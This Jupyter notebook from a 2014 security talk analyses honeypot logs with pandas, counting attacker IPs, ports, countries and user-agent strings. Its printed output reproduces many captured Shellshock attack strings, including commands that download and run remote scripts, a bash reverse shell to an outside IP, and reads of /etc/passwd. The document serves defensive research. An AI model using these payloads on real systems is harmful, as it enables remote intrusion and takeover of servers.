This notebok was used to generate graphs and analyze honeypot data for a presentation given at BsidesDFW 2014 by @sooshie (Mike Sconzo) and @theroxyd (Roxy Dehart). Notebook and data analysis performed by Mike Sconzo.
More timeseries analysis, but different data. Instead of flow data this lab will examine some data that was gathered from various honeypots. Three different honeypot packages were used to generate this data: Snort, Amun, and Glastopf. Amun is a low-interaction honeypot that listens on several ports and records connections to those ports. Glastopf is another low-interaction honeypot that runs a web server and records client requests.
Timeseries graphs and other exploration techniques will be used to understand the types and frequency of scans/attacks against the honeypot infrastructure. ___
import pandas as pd
import json
import pylab
pylab.rcParams['figure.figsize'] = (16.0, 5.0)
f = open('./scrubbed_honeypot.json', 'r')
count = 0
glastopf = []
amun = []
for line in f:
j = json.loads(line)
temp = []
temp.append(j["_id"]["$oid"])
temp.append(j["ident"])
temp.append(j["normalized"])
temp.append(j["timestamp"]["$date"])
temp.append(j["channel"])
payload = json.loads(j["payload"])
if j["channel"] == "glastopf.events":
temp.append(payload["pattern"])
temp.append(payload["filename"])
temp.append(payload["request_raw"])
temp.append(payload["request_url"])
temp.append(payload["source"][0])
temp.append(payload["source"][1])
glastopf.append(temp)
elif j["channel"] == "amun.events":
temp.append(payload["attackerIP"])
temp.append(payload["attackerPort"])
temp.append(payload["victimIP"])
temp.append(payload["victimPort"])
temp.append(payload["connectionType"])
amun.append(temp)
else:
print j
f.close()
Quickly build the dataframes from the lists of lists.
amun_df = pd.DataFrame(amun, columns=['id','ident','normalized','timestamp','channel','attackerIP','attackerPort','victimIP','victimPort','connectionType'])
glastopf_df = pd.DataFrame(glastopf, columns=['id','ident','normalized','timestamp','channel','pattern','filename','request_raw','request_url','attackerIP','attackerPort'])
Since the timestamp column isn't a datetime data type we need to fix that. Below is an example that shows what had to be done to the amun dataframe, add in the glastopf and snort ones as well.
amun_df['timestamp'] = amun_df['timestamp'].apply(lambda x: str(x).replace('T', 'T '))
glastopf_df['timestamp'] = glastopf_df['timestamp'].apply(lambda x: str(x).replace('T', 'T '))
amun_df['timestamp'] = pd.to_datetime(amun_df['timestamp'])
glastopf_df['timestamp'] = pd.to_datetime(glastopf_df['timestamp'])
Wonder if there are any patterns w/countries? Only one way to find out!
This product includes GeoLite2 data created by MaxMind, available from http://www.maxmind.com.
import GeoIP
gi = GeoIP.new(GeoIP.GEOIP_MEMORY_CACHE)
amun_df['attackerCountry'] = amun_df['attackerIP'].apply(lambda x: gi.country_name_by_addr(x))
glastopf_df['attackerCountry'] = glastopf_df['attackerIP'].apply(lambda x: gi.country_name_by_addr(x))
# Add some other values provided by other honeypots to the glastopf dataframe
glastopf_df['victimPort'] = 80
glastopf_df['victimIP'] = 0
glastopf_df['victimIP'] = glastopf_df.ident.apply(lambda x: 'www.www.www.www' if x == 'a16f5f36-3c41-11e4-9ee4-0a0b6e7c3e9e' else 'yyy.yyy.yyy.yyy')
Create a new dataframe that has some common information from the other two dataframes.
cols = ['channel','timestamp','attackerIP','victimPort','attackerCountry','ident','victimIP']
attacker_df = pd.DataFrame()
attacker_df = attacker_df.append(amun_df[cols], ignore_index=True)
attacker_df = attacker_df.append(glastopf_df[cols], ignore_index=True)
Easy solution for time series analysis
attacker_df = attacker_df.set_index('timestamp')
What are the top 10 most active IPs in the attacker_df? What honeypot type picked up this attacker, and what port(s) was this attacker especially fond of.
attacker_df['attackerIP'].value_counts().head(10)
61.153.106.24 50212 71.190.176.162 9518 1.34.22.39 4546 37.203.214.248 1730 71.179.27.162 1417 54.169.85.158 797 54.169.100.200 793 54.169.67.18 792 54.169.1.199 792 54.169.105.43 792 dtype: int64
print attacker_df[attacker_df['attackerIP'] == '61.153.106.24']['channel'].unique()
amun_df[amun_df['attackerIP'] == '61.153.106.24']['victimPort'].unique()
[u'amun.events']
array([135])
Extract the User-Agent value from the honeypot data and create a column with the value.
import re
regex = re.compile('.*[Uu][Ss][Ee][Rr]-[Aa][Gg][Ee][Nn][Tt]:(.*?)(?:\\r|$)')
glastopf_df['user-agent'] = glastopf_df['request_raw'].apply(lambda x: re.search(regex, x).group(1) if re.search(regex, x) else None)
What are some of the more popular user-agent strings?
glastopf_df['user-agent'].value_counts()
() { :; }; curl http://202.143.160.141/lib21/index.cgi | perl 619 Mozilla/3.0 (compatible; Indy Library) 90 Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en] 64 Cloud mapping experiment. Contact research@pdrlabs.net 43 () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh 27 ZmEu 20 () { foo;};echo; /usr/bin/id 20 Mozilla/5.0 9 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.3; Trident/7.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.3072; .NET CLR 2.0.50727; .NET CLR 3.0.30729; Tablet PC 2.0) 8 Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) 7 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.2) 7 Mozilla/4.0 (compatible; MSIE 6.0; Windows 98) 7 Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 6 Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0) 6 Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1 6 Morfeus Fucking Scanner 6 Googlebot/2.1 (+http://www.google.com/bot.html) 5 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36 5 () { :; }; curl http://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl 5 IPv4Scan (+http://ipv4scan.com) 4 masscan/1.0 (https://github.com/robertdavidgraham/masscan) 4 Mozilla/5.0 (compatible; Muenster University of Applied Sciences; +http://fb02itsscan.fh-muenster.de) 4 Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64; rv:20.0) Gecko/20100101 Firefox/20.0 4 Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25 4 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.28) Gecko/20120306 Firefox/3.6.28 (.NET CLR 3.5.30729) 2 () { :;}; /bin/bash -c "echo testing9123123"; /bin/uname -a 2 curl/7.33.0 2 Robocop 2 () { :;}; /bin/bash -c "cd /var/tmp;wget http://184.171.247.165/wi;curl -O http://184.171.247.165/wi;perl wi;rm -rf wi" 2 () { :;}; echo BANG: $(cat /etc/passwd) 2 Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) 2 Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.A) Gecko/20100101 Firefox/25.0 2 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:8.0) Gecko/20100101 Firefox/8.0 1 () { :; }; echo X-Bash-Test: `echo glXpsoaBEf`; 1 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) 1 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) 1 HTTP_Request2/0.5.2 (http://pear.php.net/package/http_request2) PHP/5.2.5 1 () { :;}; echo "BigBang: " $(</etc/passwd) 1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.7.83) Gecko/20101180 Firefox/3.5.47 1 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) 1 Python-httplib2/0.7.4 (gzip) 1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.101 Safari/537.36 1 Opera/9.80 (X11; Linux x86_64) Presto/2.12.388 Version/12.16 1 () { :;}; /bin/bash -c "wget http://stablehost.us/bots/regular.bot -O /tmp/sh;curl -o /tmp/sh http://stablehost.us/bots/regular.bot;sh /tmp/sh;rm -rf /tmp/sh" 1 () { ignored;};/bin/bash -i >& /dev/tcp/207.240.10.1/8888 0>&1 1 libwww-perl/6.08 1 Mozilla/5.0 (Windows NT 5.1; rv:32.0) Gecko/20100101 Firefox/32.0 1 curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.15.3 zlib/1.2.3 libidn/1.18 libssh2/1.4.2 1 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 1 Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.9.0.15) Gecko/2009102815 Ubuntu/9.04 (jaunty) Firefox/3.0.15 1 Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20140610 Firefox/24.0 PaleMoon/24.6.2 1 Length: 51, dtype: int64
The query in the cell below is an easy way to query for all entries that may contain a shellshock exploit attempt.
glastopf_df[glastopf_df['request_raw'].str.contains('{ :;}')]['request_raw'].value_counts()
GET / HTTP/1.0\r\nAccept: */*\r\nUser-Agent: () { :;}; echo BANG: $(cat /etc/passwd) 2 GET /cgi-bin/fire.cgi HTTP/1.0\r\nHost: www.www.www.www\r\nUser-Agent: () { :;}; /bin/bash -c "cd /var/tmp;wget http://184.171.247.165/wi;curl -O http://184.171.247.165/wi;perl wi;rm -rf wi" 2 GET / HTTP/1.0\r\nAccept: */*\r\nReferer: () { :;}; echo "BigBang: " $(</etc/passwd)\r\nUser-Agent: () { :;}; echo "BigBang: " $(</etc/passwd) 1 GET / HTTP/1.1\r\nHost: yyy.yyy.yyy.yyy\r\nUser-Agent: () { :;}; /bin/bash -c "echo testing9123123"; /bin/uname -a 1 GET / HTTP/1.1\r\nHost: www.www.www.www\r\nUser-Agent: () { :;}; /bin/bash -c "echo testing9123123"; /bin/uname -a 1 GET / HTTP/1.0\r\nHost: www.www.www.www\r\nUser-Agent: () { :;}; /bin/bash -c "wget http://stablehost.us/bots/regular.bot -O /tmp/sh;curl -o /tmp/sh http://stablehost.us/bots/regular.bot;sh /tmp/sh;rm -rf /tmp/sh" 1 dtype: int64
Another way to find shellshock attempts.
glastopf_df[glastopf_df['request_raw'].str.contains('};')]['request_raw'].tolist()
[u'GET / HTTP/1.0\r\nHost: www.www.www.www\r\nUser-Agent: () { :;}; /bin/bash -c "wget http://stablehost.us/bots/regular.bot -O /tmp/sh;curl -o /tmp/sh http://stablehost.us/bots/regular.bot;sh /tmp/sh;rm -rf /tmp/sh"', u'GET /cgi-bin/authLogin.cgi HTTP/1.1\r\nAccept: */*\r\nAccept-Charset: GBK,utf-8;q=0.7,*;q=0.3\r\nAccept-Encoding: identity\r\nAccept-Language: zh-CN,zh;q=0.8\r\nCache-Control: max-age=0\r\nConnection: close\r\nCookie: \r\nHost: yyy.yyy.yyy.yyy:8080\r\nReferer: http://www.baidu.com\r\nUser-Agent: () { :; }; echo X-Bash-Test: `echo glXpsoaBEf`;', u'GET / HTTP/1.1\r\nHost: www.www.www.www\r\nUser-Agent: () { :;}; /bin/bash -c "echo testing9123123"; /bin/uname -a', u'GET / HTTP/1.1\r\nHost: yyy.yyy.yyy.yyy\r\nUser-Agent: () { :;}; /bin/bash -c "echo testing9123123"; /bin/uname -a', u'GET / HTTP/1.0\r\nAccept: */*\r\nReferer: () { :;}; echo "BigBang: " $(</etc/passwd)\r\nUser-Agent: () { :;}; echo "BigBang: " $(</etc/passwd)', u'GET /cgi-sys/entropysearch.cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; /usr/bin/id\r\nUser-Agent: () { foo;};echo; /usr/bin/id', u'GET /gitweb/gitweb.cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; /usr/bin/id\r\nUser-Agent: () { foo;};echo; /usr/bin/id', u'GET /cgi-bin/ HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; /usr/bin/id\r\nUser-Agent: () { foo;};echo; /usr/bin/id', u'GET /cgi-bin/php HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; /usr/bin/id\r\nUser-Agent: () { foo;};echo; /usr/bin/id', u'GET /cgi-bin/php5 HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; /usr/bin/id\r\nUser-Agent: () { foo;};echo; /usr/bin/id', u'GET /cgi-bin/php4 HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; /usr/bin/id\r\nUser-Agent: () { foo;};echo; /usr/bin/id', u'GET /cgi-bin/php-cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; /usr/bin/id\r\nUser-Agent: () { foo;};echo; /usr/bin/id', u'GET /cgi-bin/php.cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; /usr/bin/id\r\nUser-Agent: () { foo;};echo; /usr/bin/id', u'GET /cgi-bin/firmwarecfg HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; /usr/bin/id\r\nUser-Agent: () { foo;};echo; /usr/bin/id', u'GET /cgi-bin///admin.html HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; /usr/bin/id\r\nUser-Agent: () { foo;};echo; /usr/bin/id', u'GET /cgi-bin/admin.html HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; /usr/bin/id\r\nUser-Agent: () { foo;};echo; /usr/bin/id', u'GET /cgi-bin/test-cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; /usr/bin/id\r\nUser-Agent: () { foo;};echo; /usr/bin/id', u'GET /sys-cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; /usr/bin/id\r\nUser-Agent: () { foo;};echo; /usr/bin/id', u'GET /dana-na/auth/url_default/welcome.cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; /usr/bin/id\r\nUser-Agent: () { foo;};echo; /usr/bin/id', u'GET /cgi-bin/tree.php HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; /usr/bin/id\r\nUser-Agent: () { foo;};echo; /usr/bin/id', u'GET /cgi-bin/ICuGI/EST/blast_detail.cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; /usr/bin/id\r\nUser-Agent: () { foo;};echo; /usr/bin/id', u'GET /cgi-bin/hello HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; /usr/bin/id\r\nUser-Agent: () { foo;};echo; /usr/bin/id', u'GET /cgi-sys/defaultwebpage.cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; /usr/bin/id\r\nUser-Agent: () { foo;};echo; /usr/bin/id', u'GET /cgi-bin/w3mman2html.cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; /usr/bin/id\r\nUser-Agent: () { foo;};echo; /usr/bin/id', u'GET /cgi-bin/status/status.cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; /usr/bin/id\r\nUser-Agent: () { foo;};echo; /usr/bin/id', u'GET /cgi-sys/defaultwebpage.cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh\r\nUser-Agent: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh', u'GET /cgi-bin/upload.cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh\r\nUser-Agent: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh', u'GET /cgi-bin/login.cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh\r\nUser-Agent: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh', u'GET /webmail/login.cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh\r\nUser-Agent: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh', u'GET /iControl/iControlPortal.cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh\r\nUser-Agent: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh', u'GET /cgi-bin/guestbook.cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh\r\nUser-Agent: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh', u'GET /guestbook.cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh\r\nUser-Agent: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh', u'GET /webnovel/books.cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh\r\nUser-Agent: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh', u'GET /cgi-bin/learn-message.cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh\r\nUser-Agent: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh', u'GET /cgi-mod/view_help.cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh\r\nUser-Agent: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh', u'GET /cgi-bin/awstats.pl HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh\r\nUser-Agent: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh', u'GET /cgi/close_window.cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh\r\nUser-Agent: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh', u'GET /cgi-bin/test.cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh\r\nUser-Agent: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh', u'GET /cgi-mod/index.cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh\r\nUser-Agent: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh', u'GET /upload.cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh\r\nUser-Agent: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh', u'GET /login.cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh\r\nUser-Agent: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh', u'GET /cgi-bin/upload.cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh\r\nUser-Agent: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh', u'GET /cgi-bin/login.cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh\r\nUser-Agent: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh', u'GET /webmail/login.cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh\r\nUser-Agent: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh', u'GET /iControl/iControlPortal.cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh\r\nUser-Agent: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh', u'GET /cgi-bin/guestbook.cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh\r\nUser-Agent: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh', u'GET /guestbook.cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh\r\nUser-Agent: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh', u'GET /webnovel/books.cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh\r\nUser-Agent: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh', u'GET /cgi-bin/learn-message.cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh\r\nUser-Agent: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh', u'GET /cgi-mod/view_help.cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh\r\nUser-Agent: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh', u'GET /cgi-bin/awstats.pl HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh\r\nUser-Agent: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh', u'GET /cgi/close_window.cgi HTTP/1.1\r\nAccept: */*\r\nHost: www.www.www.www\r\nReferer: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh\r\nUser-Agent: () { foo;};echo; wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh; rm -rf /tmp/sh', u'GET / HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl\r\nTest: () { :; }; curl http://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl\r\nUser-Agent: () { :; }; curl http://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl', u'GET / HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl\r\nTest: () { :; }; curl http://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl\r\nUser-Agent: () { :; }; curl http://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl', u'GET / HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl\r\nTest: () { :; }; curl http://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl\r\nUser-Agent: () { :; }; curl http://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl', u'GET / HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl\r\nTest: () { :; }; curl http://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl\r\nUser-Agent: () { :; }; curl http://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl', u'GET / HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl\r\nTest: () { :; }; curl http://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl\r\nUser-Agent: () { :; }; curl http://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl', u'GET /tmUnblock.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /gitweb.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/php4 HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { 